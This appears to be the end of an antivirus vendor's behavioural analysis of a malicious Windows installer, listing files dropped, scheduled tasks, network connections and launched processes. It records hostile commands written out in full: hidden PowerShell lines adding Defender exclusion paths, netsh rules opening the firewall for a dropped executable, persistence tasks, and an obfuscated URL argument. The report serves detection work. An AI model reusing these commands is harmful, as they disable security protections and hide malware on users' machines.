from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lb.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_lb.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lo.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_lo.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lt.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_lt.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lv.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_lv.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mi.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_mi.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mk.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_mk.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ml.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ml.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mr.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_mr.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ms.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ms.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mt.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_mt.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_nb.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_nb.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ne.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ne.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_nl.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_nl.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_nn.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_nn.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_or.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_or.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pa.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_pa.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pl.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_pl.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pt-br.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_pt-br.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pt-pt.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_pt-pt.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_quz.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_quz.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ro.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ro.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ru.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ru.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sk.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sk.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sl.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sl.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sq.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sq.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sr.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr-cyrl-ba.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sr-cyrl-ba.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr-cyrl-rs.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sr-cyrl-rs.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr-latn-rs.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sr-latn-rs.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sv.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_sv.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ta.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ta.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_te.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_te.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_th.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_th.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_tr.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_tr.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_tt.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_tt.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ug.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ug.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_uk.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_uk.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ur.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ur.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_vi.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_vi.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_zh-cn.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_zh-cn.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_zh-tw.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_zh-tw.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psuser.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\psuser.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psuser_64.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\psuser_64.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psuser_arm64.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\psuser_arm64.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psmachine.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\psmachine.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psmachine_64.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\psmachine_64.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psmachine_arm64.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\psmachine_arm64.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatesetup.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdatesetup.exe
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatebroker.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdatebroker.exe
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdateondemand.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdateondemand.exe

Deletes itself.

Network activity

Connects to

'self.events.data.microsoft.com':443
'co####.edge.skype.com':443
'msedge.api.cdp.microsoft.com':443

TCP

Other

'self.events.data.microsoft.com':443
'co####.edge.skype.com':443
'msedge.api.cdp.microsoft.com':443

UDP

DNS ASK self.events.data.microsoft.com
DNS ASK co####.edge.skype.com
DNS ASK msedge.api.cdp.microsoft.com

Miscellaneous

Creates and executes the following

'%TEMP%\nsod0b.tmp\48078.exe'
'%TEMP%\nsod0b.tmp\chanterelle.exe'
'%ProgramFiles(x86)%\inquest\adversities.exe'
'%ProgramFiles(x86)%\deicing\leprosy.exe'
'%ProgramFiles(x86)%\seagoingseagoing\seagoing.exe'
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\seagoing"
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\adversities"
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\leprosy"
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\seagoingL"
'%LOCALAPPDATA%\seagoing.exe'
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\VoitureL"
'%LOCALAPPDATA%\voiture.exe' "XezephXezeptXezeptXezeppXezepsXezep:Xezep/Xezep/XezepwXezepwXezepwXezep.XezepaXezeplXezeplXezeptXezepiXezeppXezepiXezep.XezepcXezepoXezepmXezep/XezepomchuyrlbtXezepebpisnhiqmXezepaqqvuhtmljXez...
'%ProgramFiles(x86)%\creditability\psychiatry.exe'
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\psychiatry"
'%ProgramFiles(x86)%\creditability\psychiatry.exe' /mute "Microsoft Edge WebView2"
'%TEMP%\nsod0b.tmp\sexuality.exe' "%TEMP%\nsoD0B.tmp\Voiture"
'%ProgramFiles(x86)%\creditability\voiture.exe' "XezephXezeptXezeptXezeppXezepsXezep:Xezep/Xezep/XezepwXezepwXezepwXezep.XezepaXezeplXezeplXezeptXezepiXezeppXezepiXezep.XezepcXezepoXezepmXezep/XezepomchuyrlbtXezepebpisnhiqmXezepaqqvuhtmljXez...
'%TEMP%\nsod0b.tmp\117588.exe'
'%TEMP%\nsod0b.tmp\microsoftedgewebview2setup.exe' /silent /install
'%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdate.exe' /silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"
'%ProgramFiles(x86)%\microsoft\edgeupdate\microsoftedgeupdate.exe' /regsvc
'%ProgramFiles(x86)%\microsoft\edgeupdate\microsoftedgeupdate.exe' /regserver
'%ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdatecomregistershell64.exe'
'%ProgramFiles(x86)%\microsoft\edgeupdate\microsoftedgeupdate.exe' /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNTkiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNTkiIGlzbWFjaGl...
'%ProgramFiles(x86)%\microsoft\edgeupdate\microsoftedgeupdate.exe' /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{945E26F8-9B6D-497D-ADF4-25...
'%ProgramFiles(x86)%\microsoft\edgeupdate\microsoftedgeupdate.exe' /svc

Executes the following

'%WINDIR%\syswow64\setx.exe' WEBVIEW2_USER_DATA_FOLDER "%LOCALAPPDATA%\adversitiesadversities"
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\seagoing".xml" /tn "" /f
'<SYSTEM32>\taskeng.exe' {D3FA6B59-4EB3-463A-9124-14A23F51742A} S-1-5-21-3691498038-2086406363-2140527554-1000:ujaztnggjq\user:Interactive:[1]
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\adversities".xml" /tn "" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\leprosy".xml" /tn "" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\seagoingL".xml" /tn "" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\VoitureL".xml" /tn "" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\psychiatry".xml" /tn "" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\Voiture".xml" /tn "" /f
'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\""' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\scannell\""' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\Creditability\""' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\deicing\""' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"\""' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\seagoingseagoing\""' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\inquest\""' (with hidden window)
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_USER_DATA_FOLDER "%LOCALAPPDATA%\adversitiesadversities"' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\seagoing".xml" /tn "" /f' (with hidden window)
'%ProgramFiles(x86)%\seagoingseagoing\seagoing.exe' ' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\adversities".xml" /tn "" /f' (with hidden window)
'%ProgramFiles(x86)%\inquest\adversities.exe' ' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\leprosy".xml" /tn "" /f' (with hidden window)
'%ProgramFiles(x86)%\deicing\leprosy.exe' ' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\seagoingL".xml" /tn "" /f' (with hidden window)
'%LOCALAPPDATA%\seagoing.exe' ' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Voiturea" dir=in action=allow program="%ProgramFiles(x86)%\Creditability\Voiture.exe$" enable=yes profile=public,private' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Voitureb" dir=out action=allow program="%ProgramFiles(x86)%\Creditability\Voiture.exe$" enable=yes profile=public,private' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\VoitureL".xml" /tn "" /f' (with hidden window)
'%LOCALAPPDATA%\voiture.exe' "XezephXezeptXezeptXezeppXezepsXezep:Xezep/Xezep/XezepwXezepwXezepwXezep.XezepaXezeplXezeplXezeptXezepiXezeppXezepiXezep.XezepcXezepoXezepmXezep/XezepomchuyrlbtXezepebpisnhiqmXezepaqqvuhtmljXez...' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\psychiatry".xml" /tn "" /f' (with hidden window)
'%ProgramFiles(x86)%\creditability\psychiatry.exe' /mute "Microsoft Edge WebView2"' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nsoD0B.tmp\Voiture".xml" /tn "" /f' (with hidden window)
'%ProgramFiles(x86)%\creditability\voiture.exe' "XezephXezeptXezeptXezeppXezepsXezep:Xezep/Xezep/XezepwXezepwXezepwXezep.XezepaXezeplXezeplXezeptXezepiXezeppXezepiXezep.XezepcXezepoXezepmXezep/XezepomchuyrlbtXezepebpisnhiqmXezepaqqvuhtmljXez...' (with hidden window)

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial